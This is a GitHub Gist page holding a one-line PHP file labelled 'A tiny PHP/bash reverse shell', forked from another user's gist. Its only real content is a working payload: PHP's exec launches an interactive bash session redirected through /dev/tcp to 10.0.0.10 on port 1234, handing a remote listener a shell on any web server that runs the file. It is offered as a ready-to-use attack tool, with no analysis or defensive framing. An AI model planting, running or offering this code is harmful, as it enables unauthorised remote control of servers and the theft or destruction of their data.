Skip to content

Instantly share code, notes, and snippets.

@dllen
Forked from rshipp/shell.php
Created September 23, 2022 06:57
Show Gist options
  • Save dllen/8dd5fef4cd82fd80651837a7c67c1687 to your computer and use it in GitHub Desktop.
Save dllen/8dd5fef4cd82fd80651837a7c67c1687 to your computer and use it in GitHub Desktop.
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment